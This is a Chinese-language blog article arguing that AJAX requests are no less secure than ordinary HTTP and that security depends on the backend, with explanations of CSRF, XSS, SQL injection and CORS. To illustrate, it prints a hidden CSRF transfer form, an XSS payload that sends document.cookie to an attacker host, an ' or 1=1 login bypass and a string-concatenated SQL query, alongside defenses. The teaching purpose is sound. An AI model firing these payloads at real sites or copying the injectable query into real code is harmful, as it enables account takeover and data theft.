AJAX请求真的不安全么?谈谈Web安全与AJAX的关系。

摘要

维护人:戴荔春AJAX请求真的不安全么?AJAX请求哪里不安全?怎么样让AJAX请求更安全?

维护人:戴荔春

开篇三问

  1. AJAX请求真的不安全么?

  2. AJAX请求哪里不安全?

  3. 怎么样让AJAX请求更安全?

前言

本文包含的内容较多,包括AJAX,CORS,XSS,CSRF等内容,要完整的看完并理解需要付出一定的时间。

正文开始…

从入坑前端开始,一直到现在,AJAX请求都是以极高的频率重复出现,也解决过不少AJAX中遇到的问题,如跨域调试,错误调试等等。

从这种,发现了一个共通现象: 那就是每次和后台人员对接时,他们都会提到 AJAX请求不安全 ,请用普通http请求!

虽然很多时候,都是经过多翻口舌之争后,最终后台那边妥协,允许部分符合条件的AJAX请求。但是,我却很纠结一个问题: AJAX请求真的不安全么?为什么我自己写后台时并没有发现这个问题?

于是,开始准备搜集资料,结合自己已有的认知,整理成一份解决方案,分析 AJAX请求真的不安全么?哪里不安全? ,后续遇到类似的问题就直接 向对方抛出一篇文章

大纲

  • AJAX请求真的不安全么

    • AJAX不安全的说法从何而来
  • 常见的几种Web前端安全问题

    • CSRF简介

    • CSRF与AJAX的关系

    • XSS简介

    • XSS与AJAX的关系

    • SQL注入简介

    • SQL注入与AJAX的关系

  • AJAX和HTTP请求的区别

  • CORS与AJAX安全性之间的关联

    • CORS与AJAX关系的简介

    • 为什么要配置CORS?

    • CORS会配置些什么信息?

    • CORS Origin: * 的安全性

  • 再看,AJAX请求真的不安全么?

  • AJAX请求哪里不安全?

  • 怎么样让AJAX请求更安全?

AJAX请求真的不安全么

首先,先说一个定论: AJAX请求是否安全,由服务端(后台)决定

有这样一个说法: 如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的

AJAX请求真的不安全么?谈谈Web安全与AJAX的关系。

为何会有这种说法? 因为在Web应用中,客户端输入不可信是一个基本原则

AJAX不安全的说法从何而来?

在AJAX出现时,那时的服务端还是很古老的那一批,因此完全没有考虑到AJAX出现后,前端请求方式会变得异常复杂,造成以前的安全策略已经无法满足要求了,导致大批的后台安全漏洞曝光。。。

很显然,都是因为AJAX出现后曝光了更多的安全漏洞,导致它看起来很危险(因为AJAX出现后,请求方式变多了,以前的架构在新的请求中就可能出现更多漏洞)

So,AJAX不安全的说法自然扩散到了各个角落。

常见的几种Web前端安全问题

要知道AJAX请求是否安全,那么就得先知道Web前端中到底有那几种安全问题

1.XSS(跨站脚本攻击)(cross-site scripting)      -> 伪造会话(基于XSS实现CSRF)          -> 劫持cookie          -> 恶意代码执行  2.CSRF(跨站请求伪造)(cross-site request forgery)      -> 伪造用户身份操作      3. SQL注入  ...(其它暂且不提)

AJAX请求真的不安全么?谈谈Web安全与AJAX的关系。

如上,Web前端中的安全问题主要就是这几大类(仅列举部分做分析),所以我们首先要分析AJAX与这几大类之间的关系。( XSSCSRF ,在下文也会做简单介绍。)

CSRF简介

CSRF,特征很简单: 冒用用户身份,进行恶意操作

时至今日,这项安全漏洞已经被人们剖析的很透彻了,随便Google,百度之,都会找到很多的解释。这里也用一张图来先做简单描述:

(注,下面介绍参考了来源文章中的描述,譬如图就是参考了来源中的博文后重绘的)

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所以,我们看到关键条件是:

1. 采用cookie来进行用户校验  2. 登录受信任网站A,并在本地生成Cookie  3. 在不登出A的情况下,访问危险网站B

一般在 (4)恶意网站(B) 的攻击手段如下(必须是指向 A 的地址,否则无法带上cookie):

// 1.譬如在网站内的图片资源中潜入恶意的转账操作 <img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>  // 2.构建恶意的隐藏表单,并通过脚本提交恶意请求 <iframe style="display: none;" name="csrf-frame"></iframe> <form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">   <input type='hidden' name='toBankId' value='hello'>   <input type='hidden' name='amount' value='1000000'>   <input type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script>

而且,从头到尾,攻击网站都没有获取到过 cookie,都是通过浏览器间接实现(利用Web的cookie隐式身份验证机制),所以 HttpOnly 并不会影响这个攻击

最后说下,几种常见的CSRF防御手段:

1. 验证HTTP Referer字段(非常简单,但是鉴于客户端并不可信任,所以并不是很安全) (防止CSRF,检查Referer字段简单直接,但是其完全依赖浏览器发送正确的Referer字段。 虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现, 亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。)  2. 在请求地址中添加token并验证 (譬如post中,以参数的形式加入一个随机产生的token)

CSRF与AJAX的关系

上文中,我们看到CSRF的前提是cookie验证用户身份,那么它与AJAX的关系大么?

我们先分析AJAX中带cookie验证的情况:

1. AJAX受到浏览器的同源策略限制  2. AJAX默认无法请求跨域的接口 (当然后台可以配置`Access-Control-Allow-Origin: *`之类的允许所有的跨域请求)  3. AJAX请求无法携带跨域cookie (如果强行开启withCredentials,必须服务端配合认证,无法用作攻击)

嗯哼…看到这,基本就可以认为CSRF与AJAX请求无缘了。。。

譬如假设上图中第 4 部分的请求由AJAX发起,假设网站A已经允许了 Access-Control-Allow-Origin: * ,由于网站B与网站A是不同域名,所以存在跨域,根据同源策略,请求时根本就无法携带cookie,故而无法通过身份认证,攻击失败。。。 就算强行开启withCredentials,携带跨域cookie,但是由于服务端并不会单独配置网站B的跨域cookie(需配置 Access-Control-Allow-Credentials: true ,而且这时候不允许设置 Allow-Origin: * ),所以肯定认证失败

可以看到,就算 Access-Control-Allow-Origin: * 允许所有来源的AJAX请求,跨域的cookie默认情况下仍然是无法携带的,无法CSRF

所以说,结论是: CSRF与AJAX无关

XSS简介

既然CSRF与AJAX关系不大,那么XSS应该会与AJAX有很大关系吧?(要不然为什么一直说AJAX请求不安全,对吧。)。那么请继续看下去(本文中只限JS范畴)

XSS(cross-site scripting),看起来简写应该是css更合适。。。但是为了和层叠式样式表区分,就用XSS简写表示

XSS的特征也可以概括为: 跨域脚本注入,攻击者通过某种方式将恶意代码注入到网页上,然后其他用户观看到被注入的页面内容后会受到特定攻击

相比CSRF,XSS囊括的内容更多,而且往往是多种攻击形式组合而成,这里以前文中介绍的几种为例:

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1.cookie劫持

同样,页面中有一个评论输入,输入后会,因为后台的漏洞,没有过滤特殊字符,会直接明文保存到数据库中,然后展示到网页时直接展示明文数据,那么如下

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <form action="saveComment.jsp" method="post">       请输入评论内容:<BR>       <input name="content" type="text">       <input type="submit" value="确认"> </form>

然后攻击者分析后,输入

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

保存文章。很简单的代码,由于没有过滤脚本,那么其它用户登陆后,在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的服务器。 攻击者可以在cookie(譬如jsessionid对应的session)有效期内拿它们冒充用户操作。

需要注意,这里和CSRF的区别是,这里是拿到了cookie后主动冒充用户的,而CSRF中根本就不知cookie,仅利用浏览器的隐式校验方式冒充用户。

2.会话伪造

同样是评论漏洞的示例。

攻击者输入(举例比喻)

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>

然后,接下来发生的故事就和CSRF中提到的一致。这种情况就是基于XSS而开展的CSRF,也有人喜欢称之为XSRF

需要注意,这里并没有自己拿到cookie,而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。

3.其它恶意代码执行

其实上面的cookie劫持以及会话伪造都算是恶意代码执行,为了区别,这里就专指前端的流氓JS。

譬如前面的评论中的输入可以是:

譬如市面上盛行的网页游戏弹窗等。 譬如干脆直接让这个页面卡死都可以。 譬如无限循环。

这里再提一点,上述都是从前端输入作为入口的,但实际上有一类的输入也不可忽视,那就是: 富文本攻击

它的特点就是: 富文本中注入了脚本,并且前后端未进行过滤,导致直接输出到了页面中

因为存在很多页面,都是将富文本内容展示到网页上的,没有进行过滤(哪怕时至今日,仍然有不少页面),这样只要富文本中有注入脚本,基本就中招了。。。

结论:

只要最终能向页面输出可执行的脚本语句,那么就是有漏洞,XSS攻击都有可能发生。

而且,基本上xss漏洞是很广泛的,虽然攻击类型很被动,也需要大量时间分析,但胜在大量的网站上都存在(特别是那种长期不更新的)

再提一点。上述的介绍更多的是从造成的后果来看,但其实如果从攻击手动来看的话可以分为几大类型: 反射型XSS攻击 (直接通过URL注入,而且很多浏览器都自带防御), 存储型XSS攻击 (存储到DB后读取时注入),还有一个 DOM-Based型

上述示例中都是存储型,具体更多内容网上已经有很详细的资料,这里不再继续深入,放一张图巩固下。

AJAX请求真的不安全么?谈谈Web安全与AJAX的关系。

如何预防XSS:

  • 输入过滤,不信任用户的任何输入,过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符, 或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等, 还得考虑攻击者使用十六进制编码来输入脚本的方式。

  • 输出进行编码,和输入过滤类似,不过是从输出上着手,数据输出到页面时,经过HtmlEncoder等工具编码,这样就不会存在直接输出可执行的脚本了

  • cookie设置 http-only ,这样用脚本就无法获取cookie了 (这样只有浏览器向Web服务器发起请求的时才会带上cookie字段,避免了XSS攻击利用JavaScript的document.cookie获取cookie)

  • Cookie防盗,尽可能地避免在Cookie中泄露隐私,如用户名、密码等; 或者,为了防止重放攻击,可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。

  • 注意,特别是后台,一定不能信任前端的输入,需要过滤与校验

XSS与AJAX的关系

以上分析了XSS造成一些影响与问题,仍然发现: 与AJAX关系不大 ,因为这些问题不管用不用AJAX都会发生。

看看这种情况,譬如上述的富文本注入中:

1. 某个接口采用AJAX交互  2. AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML

但是,这真的与AJAX无关,这是前后端没有进行输入输出过滤而造成的后果。

所以,还是那句话: 如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的

SQL注入简介

sql注入展开将也是一门很大的学问,很早以前更是大行其道(当然,现在…),这里仅仅举几个最极端的示例。

前提是后台没有过滤前端的输入数据,否则根本无法生效

假设页面A中有一个登陆查询存在拙劣的sql注入漏洞,这样子的:(最极端,最傻的情况)

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <form action="login.jsp" method="post">       请输入用户名与密码:<BR>       <input name="name" type="text">       <input name="password" type="text">       <input type="submit" value="登陆"> </form>

在接收到登陆请求后,服务端的实际执行代码时是:

String sql = "SELECT * FROM  users  WHERE name = '" + name + "' AND password = '" + password + "'";

然而有攻击者分析出后台可能存在漏洞,尝试sql注入攻击,输入

name = ' or 1=1 password = anything 

那么这样,后台接收到数据后,实际上查询的结果是

SELECT * FROM  users  WHERE name = ' ' or 1=1  AND password = 'anything'

故而,攻击者成功的绕过的用户名,利用后台漏洞登陆了。

当然了,像这类这么低级的漏洞,现象几乎已经不存在了,往往这类型漏洞需要仔细分析,耗时。(又或者是有内奸。。。)

SQL注入与AJAX的关系

额,从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设:

1. 有一个接口,接收AJAX post的数据  2. 数据中有一个字段 'name',后台接收到后没有进行过滤,直接如上面的演示一样,执行sql语句了  3. 所以AJAX中如果给那个字段传入非法的注入信息,就会触发这个漏洞,导致攻击生效

对,就是这样极端的情况下才会发生,而且与AJAX并没有关系, 因为换成任何一种其它请求都会有类似的情况 。。。

所以说,结论是: SQL注入与AJAX无关

AJAX和HTTP请求的区别

从本质上将: AJAX就是浏览器发出的HTTP请求 ,只不过是浏览器加上了一个同源策略限制而已。

AJAX请求的 XMLHTTPRequest 对象就是浏览器开放给JS调用HTTP请求用的。

那么AJAX和HTTP的区别呢?列出以下几点:

  • AJAX请求受到浏览器的同源策略限制,存在跨域问题

  • AJAX在进行复杂请求时,浏览器会预先发出 OPTIONS 预检(HTTP自己是不会预检的)

  • 从使用角度上说,AJAX使用简单一点,少了些底层细节,多了些浏览器特性(如自动带上同域cookie等)

  • 所以说,和认证上的HTTP请求的区别就是-多了一次浏览器的封装而已(浏览器会有自己的预处理,加上特定限制)

但是,从最终发出的报文来看,内容都是一样的(HTTP协议规范的内容), AJAX是发送HTTP请求的一种方式

所以从这一点可以得出一个结论: AJAX本质上安全性和HTTP请求一样

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CORS与AJAX安全性之间的关联

按照前文中提到的内容,基本无法得出AJAX与请求不安全的关联。那么接下来,再继续分析,如果使用了跨域资源共享(CORS)后的安全性。 (因为往往ajax都会伴随着CORS)

CORS与AJAX关系的简介

这是一个跨域共享方案,大致流程就是:(仅以复杂请求的预检举例-这一部分要求提前掌握CORS相关知识)

1. 前端AJAX请求前发出一个OPTIONS预检,会带一堆相关头部发送给服务端  2. 服务端在接受到预检时,检查头部,来源等信息是否合法,合法则接下来允许正常的请求, 否则直接无情的拒绝掉  3. 浏览器端如果收到服务端拒绝的信息(响应头部检查),就抛出对应错误。 否则就是正常的响应,接下来发出真正的请求(如POST)

请求和响应的头部信息大概如下:

Request Headers

// 在CORS中专门作为Origin信息供后端比对,表示来源域。 Origin: http://xxx Access-Control-Request-Headers: X-Requested-With // 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中,一般POST请求中就会带上 Access-Control-Request-Method: OPTIONS

Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx

最终,客户端发出的请求,必须符合服务端的校验规则才能正确,服务端才会返回正确头部,否则只会请求失败。报跨域错误。

以上仅是简介,更多信息可以参考来源中的 ajax跨域,这应该是最全的解决方案了

为什么要配置CORS?

因为同源策略限制,AJAX无法请求跨域资源,CORS可以解决AJAX跨域请求问题。

因此:在本文中,配置CORS只是为了AJAX能跨域请求

CORS会配置些什么信息?

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx

如上,加上这个配置后,必须符合要求的才算是正常的请求,否则就会拒绝掉,一般AJAX跨域的话都会有OPTIONS,所以在预检中就做了这一步。

可以看到,关键的可变信息是: Access-Control-Allow-Origin: http://xxx

这个配置就是域名白名单,规定在什么样的域名下才能进行AJAX跨域请求。

CORS Origin: * 的安全性

关键问题来了,在上面的CORS配置是这样的:

Access-Control-Allow-Origin: http://xxx

但是这个配置只允许特定域名访问,鉴于前端的复杂性,有时候调试起来不是很方便,因此有时候,会偷懒的设置为:

Access-Control-Allow-Origin: *

这个代表所有来源的跨域AJAX请求都能正常响应。

接下来我们再来分析设置 Origin: * 可能带来哪些问题。(都是基于AJAX的情况)

问题1:会对cookie认证造成影响么?

不会。虽然 * 代表了所有来源都能正常请求,但是同源策略下,是无法带上跨域cookie的。因此根本无法用身份验证。

而且,就算用 withCredentials 强行带上跨域cookie,因为后台没有支持,所以会报错。(这可以看成是CORSs模型的最后一道防线)

再者,后台就算配置 Access-Control-Allow-Credentials 允许跨域cookie,但是这时候的安全策略是 Origin 不允许为 ,必须是一个明确的地址。 (否则你就可以看到浏览器的报错信息-跨域cookie时,Origin不允许为

问题2:如果伪造Origin头部呢?

首先,标准的浏览器中是不允许你伪造的(除非有严重漏洞),所以一般需要通过模拟客户端请求伪造。

但是。在非浏览器情况下,本来就没有同源策略。这又是何必。。。

所以说,伪造Origin与CORS并没有关系。

问题3:如果后台本来就存在漏洞呢?

做这样一个假设,假设用户所在网络的内网中有一台内网服务器,并且配置了允许所有的跨域请求:(当然,外网是请求不到内网的)

// 允许任何来自任意域的跨域请求 Access-Control-Allow-Origin: *

再假设内网服务器上恰巧存在敏感资源,并且没有额外设防,只要内网就能访问。譬如:

192.168.111.23/users.md

然后用户访问了恶意网页,而像HTML之类的网页都是下载到本地执行的, 正好网页内有恶意代码,去向 192.168.111.23/users.md 请求资源,再将接收到的服务端返回发送到攻击者服务器。 (因为加了Origin为*,而且AJAX是由本地浏览器发出的,所以用户下载到本地的恶意网站是可以访问到用户内网中的后台的)

然后这些敏感数据就这样被盗取了。

But,这是因为服务端漏洞而存在的问题,设置Origin为 的后台上为何要放置敏感资源?正常设置为Origin为 的最大作用是用作公共API。 而且更重要的是,为何敏感资源就这样轻易的被获取了?为什么没有二次验证?

SO,后台本身有漏洞,所以才导致被攻击,AJAX恰好是攻击的手段之一(除了AJAX外还会有其它的方式),所以很多锅都甩到了AJAX头上。

这样,可以得出一个保守点的结论:

Origin如果不是 * ,AJAX请求并不会有安全问题,如果是 * ,可能会由于后台的漏洞,不经意间,AJAX就被作为一种攻击手段了,导致了出现AJAX不安全的说法

AJAX请求真的不安全么?谈谈Web安全与AJAX的关系。

再看,AJAX请求真的不安全么?

仍然是最初的结论:

如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的

我们可以看到,XSS也好,CSRF也好,以及其它隐藏的可能漏洞也好,本质上都是后台已有漏洞造成的问题,AJAX最多是被用作一种攻击手段(甚至某些里面AJAX还无法使用)

提到AJAX请求不安全的,譬如有CORS里面配置 Origin: * 造成某些极端情况下能通过AJAX发出攻击。但事实上这也是其中的一种攻击手段而已,没有AJAX,该不安全的仍然不安全。

譬如还有的说法是:因为在AJAX出现以前,如果出现安全漏洞,容易被察觉,但AJAX是异步的,更容易隐式的出现安全问题。。。这也与安全性的本质无关。

最重要一点,从Web应用安全角度来谈,Web应用必须从不信任客户端。所以不要再把锅甩给AJAX。

AJAX请求哪里不安全?

同上,AJAX本身并不存在这种安全问题。

不过有一点需注意,如果使用了CORS方案。

1. Allow-Origin可以设置特定的值,过滤特定的白名单  2. 对于一些公共的API,可以直接将Allow-Origin设置为`*`  3. 当然,如果确认后台没有这些隐藏漏洞,可以直接使用`*`,毕竟也只是针对浏览器的同源策略而已,影响没有那么大。

怎么样让AJAX请求更安全?

仍然是文中反复提到的结论:

让Web后台更安全,则AJAX请求也更安全,反之后台有漏洞,不管怎么样都是不安全的

写在最后的话

这样的话,应该可以把AJAX不安全的锅甩掉了吧?

附录

参考资料

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